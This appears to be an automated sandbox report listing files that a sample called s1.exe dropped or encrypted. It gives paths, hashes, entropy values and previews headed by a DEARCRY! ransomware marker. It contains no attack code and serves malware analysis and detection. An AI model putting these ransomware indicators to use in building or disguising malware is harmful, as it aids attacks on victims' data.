                                                              MD5:D1FB7D6FE8D6F2AAEEE0DE75AE2124D8
                                                              SHA1:918F8C292ADD05A4D9CCECE6323BC30B33040CFC
                                                              SHA-256:CD12E4ADF01506EE58DF4B89129FF65BC51E0312C2D53EE72F1AAD5B39444A41
                                                              SHA-512:4D51D85C53F5E7F6D59D706C00FC70E54A2B8FE07B0EBCD8F63128E0749484D066480F01B599C4151D349A7015FDC894B61EE0D539889D967648BC8CD1DA452A
                                                              Malicious:false
                                                              Preview: DEARCRY!....e...m..s.%....Xv._..U*......[....2..i...7!kL.d.....h....zL..G........V...wJ....(.......$...1.....^m.......[.w....+........k.U..J.#....>..9..R.J)V..{.=..b...B.na.."a...N...nk..a.!..0.j...&..0m.....'e.....<..fu..r.=jW-...$w...2%...j....3....q.|$....0..............qS..T.%W.1<.e
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\AppCache\container.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):1184
                                                              Entropy (8bit):7.720059121590802
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:CB5FC48672E86514032B92EA8BE7FBDB
                                                              SHA1:C2D83C3ACCA2F1EEAB5910576B9181AB58C805B5
                                                              SHA-256:A021B64F50BB2801F4882D46B212BE18C2A160FA070B4A7A3C3BB23FD00D7473
                                                              SHA-512:BAD78F3137C7612E130EECDB3145ACF95133582F97CF0A1D3B91FFF3542EC46228E8F37F1FF6A04B556F1180EA550D95E83B4F1C061A132C3FB567E240B190DD
                                                              Malicious:false
                                                              Preview: DEARCRY!....M~.QKp..q...1JU-.O*.o.&...`ba-.Q$.s......'5.@..es.D...)...q....P.V....`...7../.j...r..n.O+~.q............oI^j...Jh...u.NR..#;o.:..&$.b....cR.."..../W.....B.r..2.k..L.v..fR.......!..h....;d..H._%7..E.C.U....g<S^k..O.....F......u_.H ....r.K...................G.i...N...S.pDEARCRY!....G._l.:..w.n..|.h.+O;V..k.W$7{.j...N..P..'....#.D.(5~Q.s`.d.....+...I../..>{>]...ls|9m}D.....c..E.R^...=...D...A...<...r....K~,Xc<*OO.{.I.*~.../..K.6&.r.i...f.W.........../..k..h......r....._b[1e....'3.E.TV.T.....'>.T$T..F9..1.=.%56..*..7s..n.............r.u6.....].E.DEARCRY!....GK..,.....`..[...AQ..<..D.....}...l.G...{!*.. Q.......s....a.'.....4.....?.ruc......J.F......(.5F..N.T.:>^.=...H.3..p"Vm...4...vW.;\.G,."...b.0.@...f..k..G...m....V$g....=xc....)...2.ok. ...,....w{Z....J....3.C.HZ..Q.3.. *U.ZI..Spw...#..................5.H...wVg.`...DEARCRY!....qM..l...;...F..(0.z......y..L.`....V....?.th..t...Z..3...E.r...2.U/....q......T..@.(zC}..|../,.
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Application Shortcuts\desktop.ini
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):174
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:ACE3165E852ADB8AEDBEDA2AA3BE570B
                                                              SHA1:4577FF7E92850E2723008F6C269129BD06D017EA
                                                              SHA-256:237F73D46D3501DE63EAE1F85FDF37E65DDCED70F013B7F178D1EE52B08F051F
                                                              SHA-512:CF77563B9295B191CE2F309E03618D1AB4D317F65B87DBECC4904EE2D058DB06D23C20C199571B0FAFB67AE5EC5166B76AF0B7D8BFE3996B0DDE9751E28F8C03
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Application Shortcuts\desktop.ini.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):456
                                                              Entropy (8bit):7.522826528448859
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:C4C30D8931B9CB53BAA12D8AA52A7691
                                                              SHA1:3EEF99E25509EFAD999A0A92CCD34D58892FC726
                                                              SHA-256:D5BF8398B1C330181FC4160998D865AA4A67F93B3E8B4E5B6471871D8F90F773
                                                              SHA-512:E238E906049532479F2ECB57F2CB0AA23C19E0120EAA6AA137C6B29B93273FE62C7C3CC16017A5AE3DE35BFB26587EEBD50FF5B146CCE6AE5B7AB08894D965F7
                                                              Malicious:false
                                                              Preview: DEARCRY!....gEM- Mo.^..]....8.!...\~.mc..w...J^. ..Ij.(L...i.......H..KW..K.9..g.Eo.C.G#.....H...e.E.......ox..Y....B..N../B!l.....p.......wc<..[.FjY.T8l}.?...e.."a.qJ..P6.s.y7..:%.6....58Es.:...OjuqZ.0r.r...$PK......>o.l.s..]>.+..H..VF.d.W...4.3.......9.6..............m..@.h.n.9..S?Qq..`_[.a.Z3...c?P..3..9.g..r..F%.Z...Z.....R;s...R0........3..r...Q.TD=...@..?...;......o.)2........<1......M....ux.-......=@...^O...6......(y..i...}J.Ae7
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Burn\Burn1\desktop.ini
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):696
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:F85DEAC8C1F3F97247C7D9CD7994D2C8
                                                              SHA1:D56F55B075AF6B102A3F9FE728832F93093EC860
                                                              SHA-256:73543E5F5C84EB0BEC6E56F6A69A5AD19E65F4A4BE3C302B7C43E0523F9AC3D8
                                                              SHA-512:3444C7294D99BF0A425F8FC1856B86FCF35DA6AA9A16249F714A113E2433A71D81E0057F9701BF8FB64CDC3BFD7C25A298C50E200A5FF76EC1D4F7F81371D12E
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Burn\Burn1\desktop.ini.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):1824
                                                              Entropy (8bit):7.818636655163462
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:00EE8A65F0FA893AB2E6790165445899
                                                              SHA1:EA29CCCEC77D1E75E7BA4243FB4CA22C332E5237
                                                              SHA-256:32AA5AB6208956C1C085CE85A4CE7445E1BB9C11C81B995AC7B06137404DAA6D
                                                              SHA-512:1041E75E125C4D67D34E689FD93E62F31951B4A3A3A66045EEDF9D546D85F7A59637723376A83107C25F46F8A0F5BC1BE126CB1972C37CF6337E0165CCB87538
                                                              Malicious:false
                                                              Preview: DEARCRY!........E..+.....Iw...RY!.9..7q.-Qa..~m.....z...P..[&n'.s.E.*.ut..M....~..T8z\H=.....d..j...".l$.c.q....8\.;5}.......v,...P.....2;.8.....6~....z..Y...=m.>.......-.g>.d......T..Q.E59"..j..kz.4.Mv..Ps./l.4...k"Rd.)...._W...U........Wy<........~..*.r#.............4......(.<`.H.2.&.~.e/.e.oN:....P.!p..;....4...Q....r_......`....{.(P.n\p.....2X`c.Q*!.b..0K5.W.t..9. ...........j..%....Z....*......._...{.5.3..j.... t5.W...K^r.y.^>.dDEARCRY!.......U..H)N...S.V....jd.r.........@....5`..&..wR.s.q..........55:I.DL......oQ....I!.x.Dk*..x.. .."....N$.#.e'..(Z.Q.Ke..&.`........W...b....NM....sM.Q..S2S..m.ai.q.@....i.9.....o....r....R.L.A.N9...b.V.).....P{{q.9.R.V........%:.J,.k.=............t.C.e..W......5..7.f..4...).:s....g./......#'.=2-..@.}*.\O{`....v.1..m.L.)xM.........2V..a.f.......y...-d....H2.F7`&......\Bvx=V.. ..SQ+..`y#<......^.......48B..L.......DEARCRY!....m.`.-L..&.:.....uF.....p.D9c..f.s..=.!M.{......Q..7.M./R..wTPug.......
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Burn\Burn\desktop.ini
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):696
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:F85DEAC8C1F3F97247C7D9CD7994D2C8
                                                              SHA1:D56F55B075AF6B102A3F9FE728832F93093EC860
                                                              SHA-256:73543E5F5C84EB0BEC6E56F6A69A5AD19E65F4A4BE3C302B7C43E0523F9AC3D8
                                                              SHA-512:3444C7294D99BF0A425F8FC1856B86FCF35DA6AA9A16249F714A113E2433A71D81E0057F9701BF8FB64CDC3BFD7C25A298C50E200A5FF76EC1D4F7F81371D12E
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Burn\Burn\desktop.ini.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):1824
                                                              Entropy (8bit):7.826339749639339
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:829C91F3C8B92BD583A60A1CD27B1D71
                                                              SHA1:A5C9D4B46F1887ED91456C91F281A3DBB9E852EA
                                                              SHA-256:C8EED5D0467798A6113930F2C46B4B69360DE072BED193CD3473D96D542FB86A
                                                              SHA-512:A31FF912282D7B2D5B85FF3B78339F9A2E1B88286799A014AF0CB5EE31870F01C8FD3DE393788C3D2F10F70B72D1E55CDEC0853BDCB8C9EEE5332E42CEC4F1F6
                                                              Malicious:false
                                                              Preview: DEARCRY!....p.T."..t.M..oI..DrIE\..Ub..8.K..HG......o.XsF.#.m.H....l....;.....x..8..6}..g../..{.7.7 ..B.Z....>.0.."Ug.)...cCs...1c..{......>.7k.._0M%..~..e/...l.Qh.a....../&...U..$.+Y....S.B...E...l..Yl....q..q).V.!.C-.U5/}..h.....F.QT.;..]..:28..L..5.a..k...............Pdm.yT....'J]3......E...`...,..o1.........v.....ko..]`.F.A.....0u..X..-....0.>.*;.....L+..w$.>.w..s_....J....#9bxQ.\...e..=.E.......L.+~.. ....@.:F...i......Ch..DEARCRY!....x.:....B.#...].....i5.\6>[?...{.{...p~.js{tT...6..bs.?..Y...;.l.Y.....8O.^...|..KfS.?_...QO.r..6v.#F.2C.u.(..&Q]l..r[Y7.."wq.V...W.k..&(.,]....!....U..)..C..z....`..8.1.@R......u.8..*..R...t..".;..hxa....$...x.xi...F.#6i.F.....V.Xx.....CR... .M!.@ .............I....l...5...L..J..ikK..U..m.^.C..U7.7f..1.b.0sa.......u...H.'.......c..a..'...D#.re.....Z.....j-..r..?/L..r.. +.3..R...$..:.dlb....C..d.F...dNi....q...%v...y.1.c....c.PDEARCRY!.....Rx.:m.=Xm.k.].......~^0.:xrbe.dq.e..v.......*.s..t.e.....@.....'R..... .
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Caches\cversions.1.db
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):65536
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:314E20944390BDB0D80B57257C3F1571
                                                              SHA1:1F76C4B46E1EA5618431A77DF20CD1CD33B77A7F
                                                              SHA-256:156C38442089C1323D3E3BA549A6AC24341C47E8B6367BEC4740C9B8C865826E
                                                              SHA-512:C8BD5B55AE22FA12FFA48686818BFDF83EDE790CF7F7E7C113BBA8B01FB64D9C52D068117EE9AC3FB4BD5295759D73590DB2D4E56038E989A95DB8F91F200B83
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Caches\cversions.1.db.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):66720
                                                              Entropy (8bit):7.997105905437658
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:3F1820B0B7C9B6D6B6ED681EE7FE7D32
                                                              SHA1:FFE55813CF6AAB842B4304E83512B5EFA1292B01
                                                              SHA-256:6E99C6642FF0CF1251EF5BE76538200904057093BEFE363849A34D70B8C8DCF0
                                                              SHA-512:06D85AF8C20CFC761BAE142C8CD401650975A0F9AC1AE4735513626462E74DCB157BDC13EE28607AB004CD06527B8B837A8427742E8B51C5A1E8DF0992A810C4
                                                              Malicious:true
                                                              Preview: DEARCRY!.....b... Zs"k......=.G'.\.s.%..~Y..J....;.e<x...8..z.8}.X9.Y..?H...\R..J.nT.......C...o..k..}....Y..O.>.o..YX...%...D1.n...^#.h..Io.%m$Z7..,[+.v..9.p#...M>).....L.w....!=.u...!e.....1o.i.6f~8_.D..a..'......R....D.b...c..._.T....r...1.....\YDT.........@.........bPAd.1.`.h#R..fO"..I.w6x...\.>h.^....`..Vg\.Q.Q.A..k.....w.q0.6%K.{/.R.....H..0.2;gy(.o.]....5hm.%..`0P].^.|X(...Ij7.i..q...\..I.[./....x......m*1.....Q.j...W..<i.B...^..J...(..l'{*~..#.y.& .Z..l...ja..V..+m/..d....e...e.....SOE.Z..&..3SC..P...z."..k)... ..K..z..'.v...r.#'^...2O@9Y.`N..h.......WS...%...u9.U[......Fu.w{q...a0....3.C..pl&.&.2.~_.YU=Ts;.].tu...ec.QCPC^\.;.8.......Wy.T..c...p0C...Z...\n.....S.L.=........{....5..q..J5...*QK"/..h.....8..=....+0).U..?."-R}s.O7.F...1...k!_..^....;EN06..0$...Un..(.qF\.....k2`jlq... ....XA...S.A....|..cd..E...h>..2....^...w!.&w7.8.b..[............C#.....".*tb........y.i@R<.dV..h.86.:Q.,7..y .XQ.#.Ex./.j..+=.E.$..`D.0.a}..yY.O.KI..`
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Caches\cversions.3.db
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):65536
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:314E20944390BDB0D80B57257C3F1571
                                                              SHA1:1F76C4B46E1EA5618431A77DF20CD1CD33B77A7F
                                                              SHA-256:156C38442089C1323D3E3BA549A6AC24341C47E8B6367BEC4740C9B8C865826E
                                                              SHA-512:C8BD5B55AE22FA12FFA48686818BFDF83EDE790CF7F7E7C113BBA8B01FB64D9C52D068117EE9AC3FB4BD5295759D73590DB2D4E56038E989A95DB8F91F200B83
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Caches\cversions.3.db.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):66720
                                                              Entropy (8bit):7.997457234017582
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:D9722460CA0CBD736922DA28D73CFF91
                                                              SHA1:CD262FA93900FA75E06929D3713DD411B037A276
                                                              SHA-256:F607641B9DB48E0DA2F42FB3B9A74C7E9C6B0E25C6084B57E62368071FA8D49B
                                                              SHA-512:9AB92523B40501D3A705F4B728579F3DCA99C6AC11EBA76913E8F0B49892196FBDB2213A9747DC4B5EFF06BA96D42FD962264B1EFED3C7F22FFB7ACAAA3F6BBF
                                                              Malicious:true
                                                              Preview: DEARCRY!....$w......o.}..R=...._.'uO.%.^...8.?`Q....I....A..^...\Q...,..Y.._.,.e9....QT-...5...">.R.c....LG.Q2$...e...j.b.s..........6.h.......d...x.1....^.No..t!'..K.".y6.e..Y...F'...J....NC...T.5..G5....q.N..3L..B.CI..H.u..*..D...}.i.^....V...d...... .....@......L.(./.f*.~..s*.."..W.p...'.c.".........+(C..L..y.....,....q_.+V.Se.Q3r.f.....gL;;A4r.."..x.d~=.e..|...._.,,J.'.=..9M(........CG/.p..N.B.c..?...$.M..u.......~O.=q...:r]:T.|;.....u.H....(..X@Z.z......~.v.......D.c...D#7spgdY.....g...8=..2y@..f............Q..cn..~v.}..!~#.Q..g.p$J.e..@.....NLuW..&V.......&.L._....V..d5....c&Aa$../......$.X....<L..q.9}..g`B.j..1!d.z.]4H.".:....g(...t.C._.b...m\.H.h(K....@W.H?..*M.1.!.p.q...i..Qcp....A;.xV]p.<..h../....]..$.......0...2.?.B!/.j7x....."..o.A......l..9.'sa.w.}._.R.E...G... . '[.B.c..D..3.N^..;.sQ.\.:.a......".A.......C........]...S...F..V..%.I.}.B......2I...'...$.A.A.3.C...=...mK....z.p+f7Y .u#'...;5..\F..I....h.....d....".@.......
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{1451C5E2-B905-4D30-88C9-B63C603DA134}.3.ver0x0000000000000001.db
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):419400
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:E9BF094625433F179D1169ECD0B75DB6
                                                              SHA1:7A8879A6DE6662739BB7D9DA5145361BA34FBCBA
                                                              SHA-256:B804004632E26938FFF25B4F62A870F5DCC9023C57BCEBE1C37B2A7FCE3C405C
                                                              SHA-512:3BD3A37BBF6E2FEAA081C116FBF75A43F9E9FDC1923593CD2DB95F154ADB4A619DDFE24D79D331A0492012B808ABDCFD81AD75B69CE8BB3E54BE8E06A256CF62
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{1451C5E2-B905-4D30-88C9-B63C603DA134}.3.ver0x0000000000000001.db.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):419688
                                                              Entropy (8bit):7.9996017264924095
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:572E164F6ECE2D7E1986FF8AEF1CFB1B
                                                              SHA1:30955A5FE24FA2C22F9570EE24CCAB814D33214A
                                                              SHA-256:E722AD37579BE8F8231967914FC2AE46200C9DACD29FB2F7C6740002A29C5FF2
                                                              SHA-512:4D72F5E5214AAE82B9987E4B2FDA32D705BFA81046E1B83B140FA19139D7B145EF2645D4B91D81A6B90C45241EF01D95CA2D457F9FBDAF34D2508653594C8302
                                                              Malicious:true
                                                              Preview: DEARCRY!.........>..A.. .Rc.Uk.gt..X|B;.Y.....1.!..fm..](...'..e..;.@....#.......y=......V.4..C..$....1%8naa.......?f:7|......%.~......X.V.C...qj.CT....Z.c\.n.~J.......!.\.$}P=....R'..8...Q Y...z.....)W4.]..z.Js.S.'#N,.../.1.q...&....E."{.t....\.u*.%...I......Hf.......Y$.V.......aG.N{.J..?.D...)....6.4.!.=k....d+.../-.Y.-u.&.o.....|L.<.0...?..c7....SN.._.C......e}..g\D..=.T\..P......?..n..b.O..W..U.?......K..{... f<...._..%.R`.2~...27.c...@./Y.C.(.)H...G.}.H......w.lK.K.*....z..j...V........f{.?eh.x..X..ab5..o..$..E....}4.k.R.>{.... nS.4.h.}..g.jm...W*f.............r...&..>..E/.&.9Fq;.(Tm..G{w.A......{..7.u.I.n..%.....1..1np..]b....0...._\5O...'..3"'i.......V.."-.n..+ri$"]........2....0.......rg.YI<.|.W.P.......]..N..7....^.m.lS^BH...;.....Aq.M..&....a.h4I..'p...u.P...(..+.....m.zx.........c.b.J.].F.6..MwwM...8..Ji...x.....8...8i*.....3L........{:C6X.)../.....;....:...4... .j.9&E......!.....o4.d....Iw.X.j.W.+a...n.U..{#.:.I..q.tY}..g.AJ..
                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000016.db
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):105712
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:705DED2A8CB608F79857B13C7FFCCE50
                                                              SHA1:75569CC969353C61D49EEE7E12B1F9F2FAD7BF56
                                                              SHA-256:B9EF31C2EE973953F2F5E43A6EAF1ECA9236762400C1D843914411E5BEEDDA3F
                                                              SHA-512:64A6D4586096413DF77E90D2E755867554899B8F5EC051B9697BCAEA2825608B59AD5EC82DD265E8F68B38D7EEC77703E1F73A1F698CA2E44D36EF600C91C7A8
                                                              Malicious:true
